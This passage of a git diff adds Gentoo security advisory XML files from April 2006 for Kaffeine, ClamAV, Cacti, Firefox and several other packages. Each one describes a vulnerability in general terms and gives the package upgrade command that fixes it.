+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-04">
+  <title>Kaffeine: Buffer overflow</title>
+  <synopsis>
+    Kaffeine is vulnerable to a buffer overflow that could lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">kaffeine</product>
+  <announced>April 05, 2006</announced>
+  <revised>April 05, 2006: 01</revised>
+  <bug>127326</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/kaffeine" auto="yes" arch="*">
+      <unaffected range="ge">0.7.1-r2</unaffected>
+      <vulnerable range="lt">0.7.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Kaffeine is a graphical front-end for the xine-lib multimedia
+    library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Kaffeine uses an unchecked buffer when fetching remote RAM
+    playlists via HTTP.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to play a specially-crafted
+    RAM playlist resulting in the execution of arbitrary code with the
+    permissions of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Kaffeine users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/kaffeine-0.7.1-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0051">CVE-2006-0051</uri>
+    <uri link="http://www.kde.org/info/security/advisory-20060404-1.txt">KDE Security Advisory: Kaffeine buffer overflow</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Apr 2006 13:17:18 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Apr 2006 19:29:42 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Apr 2006 21:13:35 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-05.xml b/xml/htdocs/security/en/glsa/glsa-200604-05.xml
new file mode 100644
index 00000000..961bee44
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-05.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-05">
+  <title>Doomsday: Format string vulnerability</title>
+  <synopsis>
+    Format string vulnerabilities in Doomsday may lead to the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">doomsday</product>
+  <announced>April 06, 2006</announced>
+  <revised>June 15, 2006: 02</revised>
+  <bug>128690</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-fps/doomsday" auto="yes" arch="*">
+      <unaffected range="ge">1.9.0_beta4</unaffected>
+      <vulnerable range="le">1.9.0_beta4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Doomsday is a modern gaming engine for popular ID games like Doom,
+    Heretic and Hexen.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma discovered that Doomsday incorrectly implements
+    formatted printing.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit these vulnerabilities to execute
+    arbitrary code with the rights of the user running the Doomsday server
+    or client by sending specially crafted strings.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Doomsday users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-fps/doomsday-1.9.0_beta4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1618">CVE-2006-1618</uri>
+    <uri link="http://aluigi.altervista.org/adv/doomsdayfs-adv.txt">Original advisory by Luigi Auriemma</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Apr 2006 04:57:40 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Apr 2006 10:51:26 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 04 Apr 2006 12:10:41 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-06.xml b/xml/htdocs/security/en/glsa/glsa-200604-06.xml
new file mode 100644
index 00000000..892c19c8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-06.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-06">
+  <title>ClamAV: Multiple vulnerabilities</title>
+  <synopsis>
+    ClamAV contains multiple vulnerabilities that could lead to remote
+    execution of arbitrary code or cause an application crash.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>April 07, 2006</announced>
+  <revised>April 07, 2006: 01</revised>
+  <bug>128963</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.88.1</unaffected>
+      <vulnerable range="lt">0.88.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ClamAV is a GPL virus scanner.
+    </p>
+  </background>
+  <description>
+    <p>
+    ClamAV contains format string vulnerabilities in the logging code
+    (CVE-2006-1615). Furthermore Damian Put discovered an integer overflow
+    in ClamAV's PE header parser (CVE-2006-1614) and David Luyer discovered
+    that ClamAV can be tricked into performing an invalid memory access
+    (CVE-2006-1630).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending a malicious attachment to a mail server running ClamAV,
+    a remote attacker could cause a Denial of Service or the execution of
+    arbitrary code. Note that the overflow in the PE header parser is only
+    exploitable when the ArchiveMaxFileSize option is disabled.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.88.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1614">CVE-2006-1614</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1615">CVE-2006-1615</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1630">CVE-2006-1630</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 06 Apr 2006 18:09:01 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 07 Apr 2006 19:35:00 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-07.xml b/xml/htdocs/security/en/glsa/glsa-200604-07.xml
new file mode 100644
index 00000000..a0c0302c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-07.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-07">
+  <title>Cacti: Multiple vulnerabilities in included ADOdb</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in the ADOdb layer included
+    in Cacti, potentially resulting in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Cacti</product>
+  <announced>April 14, 2006</announced>
+  <revised>April 14, 2006: 01</revised>
+  <bug>129284</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/cacti" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6h_p20060108-r2</unaffected>
+      <vulnerable range="lt">0.8.6h_p20060108-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cacti is a complete web-based frontend to rrdtool. ADOdb is a
+    PHP-based database abstraction layer which is included in Cacti.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities have been identified in the copy of ADOdb
+    included in Cacti. Andreas Sandblad discovered a dynamic code
+    evaluation vulnerability (CVE-2006-0147) and a potential SQL injection
+    vulnerability (CVE-2006-0146). Andy Staudacher reported another SQL
+    injection vulnerability (CVE-2006-0410), and Gulftech Security
+    discovered multiple cross-site-scripting issues (CVE-2006-0806).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Remote attackers could trigger these vulnerabilities by sending
+    malicious queries to the Cacti web application, resulting in arbitrary
+    code execution, database compromise through arbitrary SQL execution,
+    and malicious HTML or JavaScript code injection.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cacti users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/cacti-0.8.6h_p20060108-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0146">CVE-2006-0146</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0147">CVE-2006-0147</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0410">CVE-2006-0410</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0806">CVE-2006-0806</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 13 Apr 2006 06:13:49 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 13 Apr 2006 16:58:52 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 13 Apr 2006 20:36:27 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-08.xml b/xml/htdocs/security/en/glsa/glsa-200604-08.xml
new file mode 100644
index 00000000..03eb99bc
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-08.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-08">
+  <title>libapreq2: Denial of Service vulnerability</title>
+  <synopsis>
+    A vulnerability has been reported in libapreq2 which could lead to a Denial
+    of Service.
+  </synopsis>
+  <product type="ebuild">libapreq2</product>
+  <announced>April 17, 2006</announced>
+  <revised>April 17, 2006: 01</revised>
+  <bug>128610</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apache/libapreq2" auto="yes" arch="*">
+      <unaffected range="ge">2.07</unaffected>
+      <vulnerable range="lt">2.07</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libapreq is a shared library with associated modules for
+    manipulating client request data via the Apache API.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability has been reported in the apreq_parse_headers() and
+    apreq_parse_urlencoded() functions of Apache2::Request.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could possibly exploit the vulnerability to
+    cause a Denial of Service by CPU consumption.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libapreq2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apache/libapreq2-2.07&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0042">CVE-2006-0042</uri>
+    <uri link="http://svn.apache.org/viewcvs.cgi/httpd/apreq/tags/v2_07/CHANGES?rev=376998&amp;view=markup">libapreq2 Changes</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 09 Apr 2006 19:33:11 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 11 Apr 2006 17:20:17 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 13 Apr 2006 19:11:49 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-09.xml b/xml/htdocs/security/en/glsa/glsa-200604-09.xml
new file mode 100644
index 00000000..c08076c3
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-09.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-09">
+  <title>Cyrus-SASL: DIGEST-MD5 Pre-Authentication Denial of Service</title>
+  <synopsis>
+    Cyrus-SASL contains a vulnerability in the DIGEST-MD5 process that could
+    lead to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">cyrus-sasl</product>
+  <announced>April 21, 2006</announced>
+  <revised>April 21, 2006: 01</revised>
+  <bug>129523</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/cyrus-sasl" auto="yes" arch="*">
+      <unaffected range="ge">2.1.21-r2</unaffected>
+      <vulnerable range="lt">2.1.21-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cyrus-SASL is an implementation of the Simple Authentication and
+    Security Layer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cyrus-SASL contains an unspecified vulnerability in the DIGEST-MD5
+    process that could lead to a Denial of Service.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could possibly exploit this vulnerability by sending
+    specially crafted data stream to the Cyrus-SASL server, resulting in a
+    Denial of Service even if the attacker is not able to authenticate.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cyrus-SASL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/cyrus-sasl-2.1.21-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1721">CVE-2006-1721</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 15 Apr 2006 12:54:10 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 17 Apr 2006 16:43:15 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 20 Apr 2006 16:06:22 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-10.xml b/xml/htdocs/security/en/glsa/glsa-200604-10.xml
new file mode 100644
index 00000000..3c625d19
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-10.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-10">
+  <title>zgv, xzgv: Heap overflow</title>
+  <synopsis>
+    xzgv and zgv attempt to decode JPEG images within the CMYK/YCCK colour
+    space incorrectly, potentially resulting in the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">xzgv</product>
+  <announced>April 21, 2006</announced>
+  <revised>June 10, 2006: 02</revised>
+  <bug>127008</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/xzgv" auto="yes" arch="*">
+      <unaffected range="ge">0.8-r2</unaffected>
+      <vulnerable range="lt">0.8-r2</vulnerable>
+    </package>
+    <package name="media-gfx/zgv" auto="yes" arch="*">
+      <unaffected range="ge">5.9</unaffected>
+      <vulnerable range="lt">5.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    xzgv and zgv are picture viewing utilities with a thumbnail based file
+    selector.
+    </p>
+  </background>
+  <description>
+    <p>
+    Andrea Barisani of Gentoo Linux discovered xzgv and zgv allocate
+    insufficient memory when rendering images with more than 3 output
+    components, such as images using the YCCK or CMYK colour space. When
+    xzgv or zgv attempt to render the image, data from the image overruns a
+    heap allocated buffer.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may be able to construct a malicious image that executes
+    arbitrary code with the permissions of the xzgv or zgv user when
+    attempting to render the image.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All xzgv users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/xzgv-0.8-r2&quot;</code>
+    <p>
+    All zgv users should also upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/zgv-5.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1060">CVE-2006-1060</uri>
+    <uri link="http://www.svgalib.org/rus/zgv/">homepage plus Changelog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 07 Apr 2006 14:45:12 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 14 Apr 2006 20:39:46 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 20 Apr 2006 16:13:24 +0000">
+    taviso
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-11.xml b/xml/htdocs/security/en/glsa/glsa-200604-11.xml
new file mode 100644
index 00000000..1214df53
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-11.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-11">
+  <title>Crossfire server: Denial of Service and potential arbitrary code execution</title>
+  <synopsis>
+    The Crossfire game server is vulnerable to a Denial of Service and
+    potentially to the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Crossfire</product>
+  <announced>April 22, 2006</announced>
+  <revised>April 22, 2006: 01</revised>
+  <bug>126169</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-server/crossfire-server" auto="yes" arch="*">
+      <unaffected range="ge">1.9.0</unaffected>
+      <vulnerable range="lt">1.9.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Crossfire is a cooperative multiplayer graphical adventure and
+    role-playing game. The Crossfire game server allows various compatible
+    clients to connect to participate in a cooperative game.
+    </p>
+  </background>
+  <description>
+    <p>
+    Luigi Auriemma discovered a vulnerability in the Crossfire game
+    server, in the handling of the "oldsocketmode" option when processing
+    overly large requests.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker can set up a malicious Crossfire client that would
+    send a large request in "oldsocketmode", resulting in a Denial of
+    Service on the Crossfire server and potentially in the execution of
+    arbitrary code on the server with the rights of the game server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Crossfire server users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-server/crossfire-server-1.9.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1010">CVE-2006-1010</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Apr 2006 16:56:02 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 21 Apr 2006 16:56:22 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Apr 2006 08:20:53 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-12.xml b/xml/htdocs/security/en/glsa/glsa-200604-12.xml
new file mode 100644
index 00000000..de7ec528
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-12.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-12">
+  <title>Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities in Mozilla Firefox allow attacks ranging from
+    execution of script code with elevated privileges to information leaks.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox</product>
+  <announced>April 23, 2006</announced>
+  <revised>April 23, 2006: 01</revised>
+  <bug>129924</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.0.8</unaffected>
+      <vulnerable range="lt">1.0.8</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.0.8</unaffected>
+      <vulnerable range="lt">1.0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is the next-generation web browser from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were found in Mozilla Firefox. Versions
+    1.0.8 and 1.5.0.2 were released to fix them.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft malicious web pages that would
+    leverage these issues to inject and execute arbitrary script code with
+    elevated privileges, steal local files, cookies or other information
+    from web pages, and spoof content. Some of these vulnerabilities might
+    even be exploited to execute arbitrary code with the rights of the
+    browser user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds for all the issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.0.8&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.0.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4134">CVE-2005-4134</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0292">CVE-2006-0292</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0296">CVE-2006-0296</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0748">CVE-2006-0748</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0749">CVE-2006-0749</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1727">CVE-2006-1727</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1728">CVE-2006-1728</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1729">CVE-2006-1729</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1730">CVE-2006-1730</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1731">CVE-2006-1731</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1732">CVE-2006-1732</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1733">CVE-2006-1733</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1734">CVE-2006-1734</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1735">CVE-2006-1735</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1736">CVE-2006-1736</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1737">CVE-2006-1737</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1738">CVE-2006-1738</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1739">CVE-2006-1739</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1740">CVE-2006-1740</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1741">CVE-2006-1741</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1742">CVE-2006-1742</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1790">CVE-2006-1790</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#Firefox">Mozilla Foundation Security Advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sat, 22 Apr 2006 20:40:23 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 22 Apr 2006 20:48:17 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-13.xml b/xml/htdocs/security/en/glsa/glsa-200604-13.xml
new file mode 100644
index 00000000..2c152ff4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-13.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-13">
+  <title>fbida: Insecure temporary file creation</title>
+  <synopsis>
+    fbida is vulnerable to linking attacks, potentially allowing a local user
+    to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">fbida</product>
+  <announced>April 23, 2006</announced>
+  <revised>April 23, 2006: 01</revised>
+  <bug>129470</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-gfx/fbida" auto="yes" arch="*">
+      <unaffected range="ge">2.03-r3</unaffected>
+      <vulnerable range="lt">2.03-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    fbida is a collection of image viewers and editors for the
+    framebuffer console and X11.
+    </p>
+  </background>
+  <description>
+    <p>
+    Jan Braun has discovered that the "fbgs" script provided by fbida
+    insecurely creates temporary files in the "/var/tmp" directory.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create links in the temporary file
+    directory, pointing to a valid file somewhere on the filesystem. When
+    an affected script is called, this could result in the file being
+    overwritten with the rights of the user running the script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All fbida users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/fbida-2.03-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1695">CVE-2006-1695</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 21 Apr 2006 15:53:11 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 21 Apr 2006 16:54:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 22 Apr 2006 21:26:19 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200604-14.xml b/xml/htdocs/security/en/glsa/glsa-200604-14.xml
new file mode 100644
index 00000000..31f0099e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200604-14.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200604-14">
+  <title>Dia: Arbitrary code execution through XFig import</title>
+  <synopsis>
+    Buffer overflows in Dia's XFig import could allow remote attackers to
+    execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">dia</product>
+  <announced>April 23, 2006</announced>
+  <revised>April 23, 2006: 01</revised>
+  <bug>128107</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/dia" auto="yes" arch="*">
